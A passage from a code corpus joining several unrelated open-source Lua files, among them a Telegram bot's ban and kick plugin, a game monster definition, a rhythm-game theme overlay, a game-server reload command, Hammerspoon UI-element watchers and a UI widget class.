api.sendReply(msg, _(error_translation_key), true) return end if msg.reply and msg.reply.from.id == bot.id then return end local res local chat_id = msg.chat.id local admin, kicked = misc.getnames_complete(msg, blocks) --print(get_motivation(msg)) if blocks[1] == 'tempban' then if not msg.reply then api.sendReply(msg, _("_Reply to someone_"), true) return end local user_id = msg.reply.from.id local hours = get_hours_from_string(blocks[2]) if not hours then return end local temp, code = check_valid_time(hours) if not temp then if code == 1 then api.sendReply(msg, _("For this, you can directly use /ban")) else api.sendReply(msg, _("_The time limit is one week (168 hours)_"), true) end return end local val = msg.chat.id..':'..user_id local unban_time = os.time() + (temp * 60 * 60) --try to kick local res, code, motivation = api.banUser(chat_id, user_id) if not res then if not motivation then motivation = _("I can't kick this user.\n" .. "Either I'm not an admin, or the targeted user is!") end api.sendReply(msg, motivation, true) else misc.saveBan(user_id, 'tempban') --save the ban db:hset('tempbanned', unban_time, val) --set the hash local time_reply, time_table = get_time_reply(temp) local is_already_tempbanned = db:sismember('chat:'..chat_id..':tempbanned', user_id) --hash needed to check if an user is already tempbanned or not local text if is_already_tempbanned then text = _("Ban time updated for %s. Ban expiration: %s\n<b>Admin</b>: %s"):format(kicked, time_reply, admin) else text = _("User %s banned by %s.\n<i>Ban expiration:</i> %s"):format(kicked, admin, time_reply) db:sadd('chat:'..chat_id..':tempbanned', user_id) --hash needed to check if an user is already tempbanned or not end misc.logEvent('tempban', msg, {motivation = get_motivation(msg), admin = admin, user = kicked, user_id = user_id, h = time_table.hours, d = time_table.days}) api.sendMessage(chat_id, text, 'html') end end if blocks[1] == 'kick' then local res, code, motivation = api.kickUser(chat_id, user_id) if not res then if not motivation then motivation = _("I can't kick this user.\n" .. "Either I'm not an admin, or the targeted user is!") end api.sendReply(msg, motivation, true) else misc.saveBan(user_id, 'kick') misc.logEvent('kick', msg, {motivation = get_motivation(msg), admin = admin, user = kicked, user_id = user_id}) api.sendMessage(msg.chat.id, _("%s kicked %s!"):format(admin, kicked), 'html') end end if blocks[1] == 'ban' then local res, code, motivation = api.banUser(chat_id, user_id) if not res then if not motivation then motivation = _("I can't kick this user.\n" .. "Either I'm not an admin, or the targeted user is!") end api.sendReply(msg, motivation, true) else --save the ban misc.saveBan(user_id, 'ban') misc.logEvent('ban', msg, {motivation = get_motivation(msg), admin = admin, user = kicked, user_id = user_id}) api.sendMessage(msg.chat.id, _("%s banned %s!"):format(admin, kicked), 'html') end end if blocks[1] == 'unban' then api.unbanUser(chat_id, user_id) local text = _("%s unbanned by %s!"):format(kicked, admin) api.sendReply(msg, text, 'html') end else if blocks[1] == 'kickme' then api.kickUser(msg.chat.id, msg.from.id) end end end end plugin.triggers = { onTextMessage = { config.cmd..'(kickme)', config.cmd..'(kick) (.+)', config.cmd..'(kick)$', config.cmd..'(ban) (.+)', config.cmd..'(ban)$', config.cmd..'(tempban) (.+)', config.cmd..'(unban) (.+)', config.cmd..'(unban)$', } } return plugin
gpl-2.0
LaFamiglia/Illarion-Content
monster/race_12_beholder/id_124_deadly_eye.lua
1
1606
--[[ Illarion Server This program is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. ]] --ID 124, Deadly Eye, Level: 7, Armourtype: medium, Weapontype: slashing local beholders = require("monster.race_12_beholder.base") local mageBehaviour = require("monster.base.behaviour.mage") local monstermagic = require("monster.base.monstermagic") local magic = monstermagic() magic.addWarping{probability = 0.15, usage = magic.ONLY_NEAR_ENEMY} magic.addFireball{ probability = 0.04, damage = {from = 2000, to = 4000}} magic.addIceball{ probability = 0.009, damage = {from = 2500, to = 4500}} magic.addVioletFlame{probability = 0.001, damage = {from = 3500, to = 5000}} magic.addFlamestrike{probability = 0.01, damage = {from = 1000, to = 2000}, targetCount = 5} magic.addHealing{probability = 0.05, damage = {from = 1500, to = 2500}} magic.addHealing{probability = 0.05, damage = {from = 1000, to = 1500}, targetCount = 2} local M = beholders.generateCallbacks() M = magic.addCallbacks(M) return mageBehaviour.addCallbacks(magic, M)
agpl-3.0
Inorizushi/DDR-X3
BGAnimations/_ScreenSelectMusic overlay/default.lua
1
16397
local t = Def.ActorFrame {} local st = GAMESTATE:GetCurrentStyle():GetStepsType(); if GAMESTATE:GetPlayMode() == 'PlayMode_Regular' and not Is2ndMIX() then -- TargetScore Bar local function Update(self, _) if GAMESTATE then local song = GAMESTATE:GetCurrentSong() local steps = {} local anyStepsChanged = false for _, pn in pairs(GAMESTATE:GetEnabledPlayers()) do steps[pn] = GetCurrentSteps(pn) if steps[pn] ~= lastSteps[pn] then anyStepsChanged = true break end end local songChanged = song~=lastSong if songChanged or anyStepsChanged then MESSAGEMAN:Broadcast("SNDLUpdate", {SongChanged=songChanged, StepsChanged=anyStepsChanged}) end lastSong = song lastSteps = steps end end -- Reset BGAnimations\ScreenTitleMenu background\default.lua local TargetBarP1 = getenv("TargetScoreBarP1"); local TargetBarP2 = getenv("TargetScoreBarP2"); local MenuState = { PlayerNumber_P1 = { Select = TargetBarP1, }, PlayerNumber_P2 = { Select = TargetBarP2, }, }; -- TargetScore Bar -- 乱入OK用に調整、もし乱入不可にしたら再調整する for pn in ivalues(PlayerNumber) do local bTargetScore = TargetScore(pn); t[#t+1] = Def.ActorFrame { InitCommand=cmd(player,pn;zoom,0.75); OnCommand=function(self) if pn == PLAYER_1 then if MenuState[PLAYER_1].Select == 0 then self:x(SCREEN_LEFT-334); if bTargetScore == "off" then self:visible(false); end; elseif MenuState[PLAYER_1].Select == 2 then self:x(SCREEN_LEFT-334); else self:x(SCREEN_LEFT); end; else if MenuState[PLAYER_2].Select == 0 then self:x(SCREEN_RIGHT+334); if bTargetScore == "off" then self:visible(false); end; elseif MenuState[PLAYER_2].Select == 2 then self:x(SCREEN_RIGHT+334); else self:x(SCREEN_RIGHT); end; end; end; OffCommand=cmd(diffusealpha,0); CurrentSongChangedMessageCommand=function(self,params) local song = GAMESTATE:GetCurrentSong() if song then if pn == PLAYER_1 then if MenuState[PLAYER_1].Select == 0 then self:linear(0.25) self:x(SCREEN_LEFT-334) elseif MenuState[PLAYER_1].Select == 2 then self:linear(0.25) self:x(SCREEN_LEFT-334) else self:linear(0.25) self:x(SCREEN_LEFT) end; else if MenuState[PLAYER_2].Select == 0 then self:linear(0.25) self:x(SCREEN_RIGHT+334) elseif MenuState[PLAYER_2].Select == 2 then self:linear(0.25) self:x(SCREEN_RIGHT+334) else self:linear(0.25) self:x(SCREEN_RIGHT) end; end; else if pn == PLAYER_1 then if MenuState[PLAYER_1].Select == 0 then self:linear(0.25) self:x(SCREEN_LEFT-334) elseif MenuState[PLAYER_1].Select == 2 then self:linear(0.25) self:x(SCREEN_LEFT-334) else self:linear(0.25) self:x(SCREEN_LEFT-334) end; else if MenuState[PLAYER_2].Select == 0 then self:linear(0.25) self:x(SCREEN_RIGHT+334) elseif MenuState[PLAYER_2].Select == 2 then self:linear(0.25) self:x(SCREEN_RIGHT+334) else self:linear(0.25) self:x(SCREEN_RIGHT+334) end; end; end; end; CodeMessageCommand=function(self,params) if params.PlayerNumber ~= pn then return end if params.Name == 'Select' then local select = MenuState[params.PlayerNumber].Select local pname = ToEnumShortString(pn); if select == 0 or select == 2 then local env = GAMESTATE:Env() env.TargetOn = true self:visible(true); self:linear(0.25); if params.PlayerNumber == PLAYER_1 then self:x(SCREEN_LEFT); else self:x(SCREEN_RIGHT); end; setenv("TargetScoreBar"..pname,1); MenuState[params.PlayerNumber].Select = 1 else local env = GAMESTATE:Env() env.TargetOn = false self:linear(0.25); if params.PlayerNumber == PLAYER_1 then self:x(SCREEN_LEFT-334); else self:x(SCREEN_RIGHT+334); end; setenv("TargetScoreBar"..pname,2); MenuState[params.PlayerNumber].Select = 2 end; MESSAGEMAN:Broadcast("SelectButton", { Player = params.PlayerNumber, Input = params.Name, }) elseif params.Name == 'SelectUp' then MESSAGEMAN:Broadcast("SelectUpButton", { Player = params.PlayerNumber, Input = params.Name, }) elseif params.Name == 'SelectDown' then MESSAGEMAN:Broadcast("SelectDownButton", { Player = params.PlayerNumber, Input = params.Name, }) end; end; SelectUpButtonMessageCommand=function(self,params) if params.Player ~= pn then return end self:visible(true); end; SelectDownButtonMessageCommand=function(self,params) if params.Player ~= pn then return end self:visible(true); end; LoadActor("TargetScore_Bar_Select")..{ InitCommand=function(self) if PROFILEMAN:IsPersistentProfile(pn) then if bTargetScore == "machine" then self:y(SCREEN_CENTER_Y-118); elseif bTargetScore == "personal" then self:y(SCREEN_CENTER_Y-200); elseif bTargetScore == "off" then self:visible(false); end; else if bTargetScore == "machine" then self:y(SCREEN_CENTER_Y-200); elseif bTargetScore == "personal" then self:y(SCREEN_CENTER_Y-200); elseif bTargetScore == "off" then self:visible(false); end; end; if pn == PLAYER_1 then self:horizalign(left); else self:zoomx(-1); self:horizalign(left); end; end; SelectUpButtonMessageCommand=function(self,params) local bTargetScore = TargetScore(pn); if params.Player ~= pn then return end if PROFILEMAN:IsPersistentProfile(pn) then local profileGUID = PROFILEMAN:GetProfile(pn):GetGUID(); if bTargetScore == "off" then self:visible(true); self:y(SCREEN_CENTER_Y-118); WritePrefToFile("X3_TargetScore_"..profileGUID, 'machine'); elseif bTargetScore == "personal" then self:visible(false); WritePrefToFile("X3_TargetScore_"..profileGUID, 'off'); elseif bTargetScore == "machine" then self:visible(true); self:y(SCREEN_CENTER_Y-200); WritePrefToFile("X3_TargetScore_"..profileGUID, 'personal'); end; else local pname = ToEnumShortString(pn); if bTargetScore == "off" then self:visible(true); self:y(SCREEN_CENTER_Y-200); WritePrefToFile("X3_TargetScore_"..pname, 'machine'); elseif bTargetScore == "personal" then self:visible(false); WritePrefToFile("X3_TargetScore_"..pname, 'off'); elseif bTargetScore == "machine" then self:visible(false); WritePrefToFile("X3_TargetScore_"..pname, 'off'); end; end; end; SelectDownButtonMessageCommand=function(self,params) local bTargetScore = TargetScore(pn); if params.Player ~= pn then return end if PROFILEMAN:IsPersistentProfile(pn) then local profileGUID = PROFILEMAN:GetProfile(pn):GetGUID(); if bTargetScore == "off" then self:visible(true); self:y(SCREEN_CENTER_Y-200); WritePrefToFile("X3_TargetScore_"..profileGUID, 'personal'); elseif bTargetScore == "personal" then self:visible(true); self:y(SCREEN_CENTER_Y-118); WritePrefToFile("X3_TargetScore_"..profileGUID, 'machine'); elseif bTargetScore == "machine" then self:visible(false); WritePrefToFile("X3_TargetScore_"..profileGUID, 'off'); end; else local pname = ToEnumShortString(pn); if bTargetScore == "off" then self:visible(true); self:y(SCREEN_CENTER_Y-200); WritePrefToFile("X3_TargetScore_"..pname, 'machine'); elseif bTargetScore == "personal" then self:visible(false); WritePrefToFile("X3_TargetScore_"..pname, 'off'); elseif bTargetScore == "machine" then self:visible(false); WritePrefToFile("X3_TargetScore_"..pname, 'off'); end; end; end; SetCommand=function(self) if not GAMESTATE:IsSideJoined(pn) then return end; local bTargetScore = TargetScore(pn); if PROFILEMAN:IsPersistentProfile(pn) then if bTargetScore == "machine" then self:y(SCREEN_CENTER_Y-118); elseif bTargetScore == "personal" then self:y(SCREEN_CENTER_Y-200); elseif bTargetScore == "off" then self:visible(false); end; else if bTargetScore == "machine" then self:y(SCREEN_CENTER_Y-200); elseif bTargetScore == "personal" then self:y(SCREEN_CENTER_Y-200); elseif bTargetScore == "off" then self:visible(false); end; end; end; SelectButtonMessageCommand=cmd(playcommand,"Set"); }; -- Sound LoadActor( THEME:GetPathS("", "_switch up") ) .. { SelectUpButtonMessageCommand=function(self,params) if params.Player ~= pn then return end self:play(); end; }; LoadActor( THEME:GetPathS("", "_switch down") ) .. { SelectDownButtonMessageCommand=function(self,params) if params.Player ~= pn then return end self:play(); end; }; LoadActor( THEME:GetPathS("", "_swoosh normal") ) .. { SelectButtonMessageCommand=function(self,params) if params.Player ~= pn then return end self:play(); end; }; -- BestScore Def.ActorFrame { InitCommand=function(self) self:y(SCREEN_CENTER_Y-200); if PROFILEMAN:IsPersistentProfile(pn) then self:visible(true); else self:visible(false); end; end; SetCommand=function(self) if not GAMESTATE:IsSideJoined(pn) then return end; if PROFILEMAN:IsPersistentProfile(pn) then self:visible(true); else self:visible(false); end; end; SelectButtonMessageCommand=cmd(playcommand,"Set"); -- Back LoadActor("TargetScore_Bar_Back")..{ InitCommand=function(self) if pn == PLAYER_1 then self:horizalign(left); else self:zoomx(-1); self:horizalign(left); end; end; }; -- Text LoadFont("common normal") .. { InitCommand=function(self) self:settext("MY BEST SCORE"); if pn == PLAYER_1 then self:x(356); else self:x(-356); end; (cmd(diffuse,color("#fff90a");y,-22;zoom,0.75;uppercase,true))(self) end; }; -- Name LoadFont("_sveningsson Bold 60px")..{ InitCommand=function(self) if pn == PLAYER_1 then self:horizalign(left); self:x(150); else self:horizalign(left); self:x(-440); end; (cmd(y,-1;zoomy,0.5;zoomx,0.5;maxwidth,416;uppercase,true;strokecolor,color("0,0,0,1")))(self) end; SetCommand=function(self) if MenuState[pn].Select == 0 then return end; if not GAMESTATE:IsSideJoined(pn) then return end; if not PROFILEMAN:IsPersistentProfile(pn) then return end; local SongorCourse, StepsOrTrail; if GAMESTATE:IsCourseMode() then SongOrCourse = GAMESTATE:GetCurrentCourse(); StepsOrTrail = GAMESTATE:GetCurrentTrail(pn); else SongOrCourse = GAMESTATE:GetCurrentSong(); StepsOrTrail = GAMESTATE:GetCurrentSteps(pn); end; local profile, scorelist; local text = ""; if SongOrCourse and StepsOrTrail then local st = StepsOrTrail:GetStepsType(); local diff = StepsOrTrail:GetDifficulty(); local courseType = GAMESTATE:IsCourseMode() and SongOrCourse:GetCourseType() or nil; if PROFILEMAN:IsPersistentProfile(pn) then -- player profile profile = PROFILEMAN:GetProfile(pn); name = profile:GetDisplayName(); else -- machine profile profile = PROFILEMAN:GetMachineProfile(); name = "STEP"; end; scorelist = profile:GetHighScoreList(SongOrCourse,StepsOrTrail); assert(scorelist) local scores = scorelist:GetHighScores(); local topscore=0; if scores[1] then topscore = scores[1]:GetScore(); end; assert(topscore); if topscore ~= 0 then self:settext(name); else self:settext(" - - - - - - - -"); end; else self:settext(" - - - - - - - -"); end; end; CurrentSongChangedMessageCommand=cmd(playcommand,"Set"); CurrentTrailP1ChangedMessageCommand=cmd(playcommand,"Set"); CurrentTrailP2ChangedMessageCommand=cmd(playcommand,"Set"); SelectButtonMessageCommand=cmd(playcommand,"Set"); }; -- Score Def.RollingNumbers { File=THEME:GetPathF("","_helveticaneuelt pro 65 md Bold 24px"); InitCommand=function(self) if pn == PLAYER_1 then self:horizalign(right); self:x(440); else self:horizalign(left); self:x(-440); end; (cmd(Load,"RollingNumbersScore";zoomy,0.9;y,15;diffuse,color("#ffff99");strokecolor,color("#000000");playcommand,"Set"))(self) end; SetCommand=function(self) if MenuState[pn].Select == 0 then return end; if not GAMESTATE:IsSideJoined(pn) then return end; if not PROFILEMAN:IsPersistentProfile(pn) then return end; local SongorCourse, StepsOrTrail; if GAMESTATE:IsCourseMode() then SongOrCourse = GAMESTATE:GetCurrentCourse(); StepsOrTrail = GAMESTATE:GetCurrentTrail(pn); else SongOrCourse = GAMESTATE:GetCurrentSong(); StepsOrTrail = GAMESTATE:GetCurrentSteps(pn); end; local profile, scorelist; local text = ""; if SongOrCourse and StepsOrTrail then local st = StepsOrTrail:GetStepsType(); local diff = StepsOrTrail:GetDifficulty(); local courseType = GAMESTATE:IsCourseMode() and SongOrCourse:GetCourseType() or nil; if PROFILEMAN:IsPersistentProfile(pn) then -- player profile profile = PROFILEMAN:GetProfile(pn); name = profile:GetDisplayName(); else -- machine profile profile = PROFILEMAN:GetMachineProfile(); name = "STEP"; end; scorelist = profile:GetHighScoreList(SongOrCourse,StepsOrTrail); assert(scorelist) local scores = scorelist:GetHighScores(); local topscore=0; if scores[1] then topscore = 10*math.round(SN2Scoring.GetSN2ScoreFromHighScore(StepsOrTrail, scores[1])/10) end; assert(topscore); if topscore ~= 0 then local scorel3 = topscore%1000; local scorel2 = (topscore/1000)%1000; local scorel1 = (topscore/1000000)%1000000; text = string.format("%01d"..",".."%03d"..",".."%03d",scorel1,scorel2,scorel3); else text = "0,000,000"; end; else text = "0,000,000"; end; self:settext(text); end; CurrentSongChangedMessageCommand=cmd(playcommand,"Set"); CurrentTrailP1ChangedMessageCommand=cmd(playcommand,"Set"); CurrentTrailP2ChangedMessageCommand=cmd(playcommand,"Set"); SelectButtonMessageCommand=cmd(playcommand,"Set"); }; -- Color Icon LoadActor("TargetScore_Bar_Icon_Normal")..{ InitCommand=function(self) if pn == PLAYER_1 then self:x(462); else self:zoomx(-1); self:x(-462); end; end; }; -- Text Icon Def.Sprite { InitCommand=function(self) if pn == PLAYER_1 then self:x(462); else self:x(-462); end; (cmd(playcommand,"Set"))(self) end; SetCommand=function(self) if pn == PLAYER_1 then self:Load(THEME:GetPathB("ScreenSelectMusic","overlay/TargetScore_Bar_Icon_P1_Black")); else self:Load(THEME:GetPathB("ScreenSelectMusic","overlay/TargetScore_Bar_Icon_P2_Black")); end; end; }; }; }; end; end; return t
mit
ninjalulz/forgottenserver
data/talkactions/scripts/reload.lua
1
2180
local reloadTypes = { ["all"] = RELOAD_TYPE_ALL, ["action"] = RELOAD_TYPE_ACTIONS, ["actions"] = RELOAD_TYPE_ACTIONS, ["chat"] = RELOAD_TYPE_CHAT, ["channel"] = RELOAD_TYPE_CHAT, ["chatchannels"] = RELOAD_TYPE_CHAT, ["config"] = RELOAD_TYPE_CONFIG, ["configuration"] = RELOAD_TYPE_CONFIG, ["creaturescript"] = RELOAD_TYPE_CREATURESCRIPTS, ["creaturescripts"] = RELOAD_TYPE_CREATURESCRIPTS, ["events"] = RELOAD_TYPE_EVENTS, ["global"] = RELOAD_TYPE_GLOBAL, ["globalevent"] = RELOAD_TYPE_GLOBALEVENTS, ["globalevents"] = RELOAD_TYPE_GLOBALEVENTS, ["items"] = RELOAD_TYPE_ITEMS, ["monster"] = RELOAD_TYPE_MONSTERS, ["monsters"] = RELOAD_TYPE_MONSTERS, ["mount"] = RELOAD_TYPE_MOUNTS, ["mounts"] = RELOAD_TYPE_MOUNTS, ["move"] = RELOAD_TYPE_MOVEMENTS, ["movement"] = RELOAD_TYPE_MOVEMENTS, ["movements"] = RELOAD_TYPE_MOVEMENTS, ["npc"] = RELOAD_TYPE_NPCS, ["npcs"] = RELOAD_TYPE_NPCS, ["quest"] = RELOAD_TYPE_QUESTS, ["quests"] = RELOAD_TYPE_QUESTS, ["raid"] = RELOAD_TYPE_RAIDS, ["raids"] = RELOAD_TYPE_RAIDS, ["spell"] = RELOAD_TYPE_SPELLS, ["spells"] = RELOAD_TYPE_SPELLS, ["talk"] = RELOAD_TYPE_TALKACTIONS, ["talkaction"] = RELOAD_TYPE_TALKACTIONS, ["talkactions"] = RELOAD_TYPE_TALKACTIONS, ["weapon"] = RELOAD_TYPE_WEAPONS, ["weapons"] = RELOAD_TYPE_WEAPONS, ["scripts"] = RELOAD_TYPE_SCRIPTS, ["libs"] = RELOAD_TYPE_GLOBAL } function onSay(player, words, param) if not player:getGroup():getAccess() then return true end if player:getAccountType() < ACCOUNT_TYPE_GOD then return false end logCommand(player, words, param) local reloadType = reloadTypes[param:lower()] if not reloadType then player:sendTextMessage(MESSAGE_STATUS_CONSOLE_BLUE, "Reload type not found.") return false end -- need to clear EventCallbackData or we end up having duplicated events on /reload scripts if reloadType == RELOAD_TYPE_SCRIPTS or reloadType == RELOAD_TYPE_ALL then EventCallbackData = {} for i = 1, EVENT_CALLBACK_LAST do EventCallbackData[i] = {} end end Game.reload(reloadType) player:sendTextMessage(MESSAGE_STATUS_CONSOLE_BLUE, string.format("Reloaded %s.", param:lower())) return false end
gpl-2.0
Stimim/hammerspoon
extensions/uielement/init.lua
13
7608
--- === hs.uielement === --- --- A generalized framework for working with OSX UI elements local uielement = require "hs.uielement.internal" local application = {} application.watcher = require "hs.application.watcher" local fnutils = require "hs.fnutils" --- hs.uielement:isApplication() -> bool --- Method --- Returns whether the UI element represents an application. function uielement:isApplication() return self:role() == "AXApplication" end --- === hs.uielement.watcher === --- --- Watch for events on certain UI elements (including windows and applications) --- --- You can watch the following events: --- ### Application-level events --- See hs.application.watcher for more events you can watch. --- * hs.uielement.watcher.applicationActivated: The current application switched to this one. --- * hs.uielement.watcher.applicationDeactivated: The current application is no longer this one. --- * hs.uielement.watcher.applicationHidden: The application was hidden. --- * hs.uielement.watcher.applicationShown: The application was shown. --- --- #### Focus change events --- These events are watched on the application level, but send the relevant child element to the handler. --- * hs.uielement.watcher.mainWindowChanged: The main window of the application was changed. --- * hs.uielement.watcher.focusedWindowChanged: The focused window of the application was changed. Note that the application may not be activated itself. --- * hs.uielement.watcher.focusedElementChanged: The focused UI element of the application was changed. --- --- ### Window-level events --- * hs.uielement.watcher.windowCreated: A window was created. You should watch for this event on the application, or the parent window. --- * hs.uielement.watcher.windowMoved: The window was moved. --- * hs.uielement.watcher.windowResized: The window was resized. --- * hs.uielement.watcher.windowMinimized: The window was minimized. --- * hs.uielement.watcher.windowUnminimized: The window was unminimized. --- --- ### Element-level events --- These work on all UI elements, including windows. --- * hs.uielement.watcher.elementDestroyed: The element was destroyed. --- * hs.uielement.watcher.titleChanged: The element's title was changed. uielement.watcher.applicationActivated = "AXApplicationActivated" uielement.watcher.applicationDeactivated = "AXApplicationDeactivated" uielement.watcher.applicationHidden = "AXApplicationHidden" uielement.watcher.applicationShown = "AXApplicationShown" uielement.watcher.mainWindowChanged = "AXMainWindowChanged" uielement.watcher.focusedWindowChanged = "AXFocusedWindowChanged" uielement.watcher.focusedElementChanged = "AXFocusedUIElementChanged" uielement.watcher.windowCreated = "AXWindowCreated" uielement.watcher.windowMoved = "AXWindowMoved" uielement.watcher.windowResized = "AXWindowResized" uielement.watcher.windowMinimized = "AXWindowMiniaturized" uielement.watcher.windowUnminimized = "AXWindowDeminiaturized" uielement.watcher.elementDestroyed = "AXUIElementDestroyed" uielement.watcher.titleChanged = "AXTitleChanged" -- Keep track of apps, to automatically stop watchers on apps AND their elements when apps quit. local appWatchers = {} local function appCallback(name, event, app) if appWatchers[app:pid()] and event == application.watcher.terminated then fnutils.each(appWatchers[app:pid()], function(watcher) watcher:_stop() end) appWatchers[app:pid()] = nil end end local globalAppWatcher = application.watcher.new(appCallback) globalAppWatcher:start() -- Keep track of all other UI elements to automatically stop their watchers. local function handleEvent(callback, element, event, watcher, userData) if event == watcher.elementDestroyed then -- element is newly created from a dead UI element and may not have critical fields like pid and id. -- Use the existing watcher element instead. if element == watcher:element() then element = watcher:element() end -- Pass along event if wanted. if watcher._watchingDestroyed then callback(element, event, watcher, userData) end -- Stop watcher. if element == watcher:element() then watcher:stop() -- also removes from appWatchers end else callback(element, event, watcher, userData) end end --- hs.uielement:newWatcher(handler[, userData]) -> hs.uielement.watcher or nil --- Constructor --- Creates a new watcher for the element represented by self (the object the method is being invoked for). --- --- Parameters: --- * a function to be called when a watched event occurs. The argument will be passed the following arguments: --- * element: The element the event occurred on. Note this is not always the element being watched. --- * event: The name of the event that occurred. --- * watcher: The watcher object being created. --- * userData: The userData you included, if any. --- * an optional userData object which will be included as the final argument to the callback function when it is called. --- --- Returns: --- * hs.uielement.watcher object, or nil if an error occurred function uielement:newWatcher(callback, ...) if type(callback) ~= "function" then hs.showError("hs.uielement:newWatcher() called with incorrect arguments. The first argument must be a function") end local obj = self:_newWatcher(function(...) handleEvent(callback, ...) end, ...) obj._pid = self:pid() if self.id then obj._id = self:id() end return obj end --- hs.uielement.watcher:start(events) -> hs.uielement.watcher --- Method --- Tells the watcher to start watching for the given list of events. --- --- Parameters: --- * An array of events to be watched for. --- --- Returns: --- * hs.uielement.watcher --- --- Notes: --- * See hs.uielement.watcher for a list of events. You may also specify arbitrary event names as strings. --- * Does nothing if the watcher has already been started. To start with different events, stop it first. function uielement.watcher:start(events) -- Track all watchers in appWatchers. local pid = self._pid if not appWatchers[pid] then appWatchers[pid] = {} end table.insert(appWatchers[pid], self) -- For normal elements, listen for elementDestroyed events. if not self._element:isApplication() then if fnutils.contains(events, self.elementDestroyed) then self._watchingDestroyed = true else self._watchingDestroyed = false events = fnutils.copy(events) table.insert(events, self.elementDestroyed) end end -- Actually start the watcher. return self:_start(events) end --- hs.uielement.watcher:stop() -> hs.uielement.watcher --- Method --- Tells the watcher to stop listening for events. --- --- Parameters: --- * None --- --- Returns: --- * hs.uielement.watcher --- --- Notes: --- * This is automatically called if the element is destroyed. function uielement.watcher:stop() -- Remove self from appWatchers. local pid = self._pid if appWatchers[pid] then local idx = fnutils.indexOf(appWatchers[pid], self) if idx then table.remove(appWatchers[pid], idx) end end return self:_stop() end --- hs.uielement.watcher:element() -> object --- Method --- Returns the element the watcher is watching. --- --- Parameters: --- * None --- --- Returns: --- * The element the watcher is watching. function uielement.watcher:element() return self._element end return uielement
mit
bsmr-games/lipsofsuna
data/lipsofsuna/ui/widgets/widget.lua
1
5083
local Class = require("system/class") local Graphics = require("system/graphics") local Interpolation = require("system/math/interpolation") local Widget = require("system/widget") local ipol_time = 0.2 local ipol_path_a = {0,0.1,0.2,0.5,0.8,1,1} local ipol_path_x = {-1,-0.5,-0.25,-0.0125,0,0,0} local UiWidget = Class("Uiwidget", Widget) -- FIXME UiWidget = UiWidget UiWidget.new = function(clss, label) -- Create the widget. local self = Widget.new(clss) self.__life = 0 self.__offset = Vector() self.size = Vector() self.label = label self.need_reshape = true self.need_repaint = true return self end UiWidget.apply = function(self) if self.child and self.child.pressed then self.child:pressed() end end UiWidget.apply_back = function(self) return true end UiWidget.handle_event = function(self, args) if Ui:get_pointer_grab() then return true end if args.type ~= "mousepress" then return true end local w = self:get_widget_by_point(Vector(args.x, args.y)) if not w then return true end return w:apply() end UiWidget.update = function(self, secs) -- Update the size. if self.need_reshape then self.need_reshape = nil local size = self:rebuild_size() if self.size.x ~= size.x or self.size.y ~= size.y then self:set_request(size.x, size.y) self.size = size Ui.need_relayout = true end end -- Update the offset. if self.__need_reoffset or self.__life then self.__need_reoffset = nil local alpha = 1 local offset = self.__offset if self.__life then self.__life = self.__life + secs if self.__life < ipol_time then alpha = Interpolation:interpolate_samples_cubic_1d(self.__life / ipol_time * 6, ipol_path_a) local x = Interpolation:interpolate_samples_cubic_1d(self.__life / ipol_time * 6, ipol_path_x) offset = offset:copy():add_xyz(x * 500) else self.__life = nil end end self:set_alpha(alpha) Widget.set_offset(self, offset) end -- Update the graphics. if self.need_repaint then self.need_repaint = nil self:canvas_clear() self:rebuild_canvas() end end UiWidget.rebuild_size = function(self) -- Set the default size. local size = Vector(Theme.width_widget_1, Theme.height_widget_1) -- Resize to fit the label. if self.label then local w,h = Graphics:measure_text(Theme.text_font_1, self.label, Theme.width_label_1-5) if h then size.y = math.max(size.y, h) end end -- Resize to fit the child. if self.child then local w,h = self.child:get_request() size.y = math.max(size.y, h or 0) end return size end UiWidget.rebuild_canvas = function(self) -- Add the background. Theme:draw_base(self, 0, 0, self.size.x, self.size.y, self.focused) -- Add the label. if self.label then self:canvas_text{ dest_position = {Theme.text_pad_1,Theme.text_pad_1}, dest_size = {Theme.width_label_1-5,self.size.y}, text = self.label, text_alignment = {0,0.5}, text_color = Theme.text_color_1, text_font = Theme.text_font_1} end end --- Sets the focus state of the widget. -- @param self UiSelector. -- @param value True to focus. False otherwise. -- @return True if the focus changed. False if the widget rejected the change. UiWidget.set_focused = function(self, v) if self.focused == v then return true end self.focused = v self.need_repaint = true return true end UiWidget.get_help = function(self) return self.help end UiWidget.set_help = function(self, v) if self.help == v then return end self.help = v if self.focused then Ui:update_help() end end UiWidget.get_hint = function(self) return self.hint or "$$A\n$$B\n$$U\n$$D" end UiWidget.set_hint = function(self, v) if self.hint == v then return end self.hint = v if self.focused then Ui:update_help() end end --- Sets the interpolation priority of the widget. -- @param self Uiwidget. -- @param v Number. UiWidget.set_show_priority = function(self, v) if not self.__life then return end if Client.options.ui_animations then self.__life = -0.05 * math.log(v + 0.2) else self.__life = nil end self.__need_reoffset = true end UiWidget.get_offset = function(self) return self.__offset end UiWidget.set_offset = function(self, v) self.__offset:set(v) self.__need_reoffset = true end --- Finds the widget that encloses the point.<br/> -- -- Returns the first widget whose rectangle encloses the given point. -- If the filter funtion is given, the first matching widget for which the -- filter returns true will be returned. Other widgets are skipped. -- -- @param self UiWidget. -- @param point Point in screen space. -- @param filter Optional filter function. -- @return Widget if found. Nil otherwise. UiWidget.get_widget_by_point = function(self, point, filter) -- Check for visibility. if not self:get_visible() then return end -- Check for X coordinate. local x,w = self:get_x(),self:get_width() if point.x < x or x + w <= point.x then return end -- Check for Y coordinate. local y,h = self:get_y(),self:get_height() if point.y < y or y + h <= point.y then return end -- Apply filtering. if not filter or filter(self) then return self end end return UiWidget
gpl-3.0
shahabsaf1/copy-infernal
bot/utils.lua
356
14963
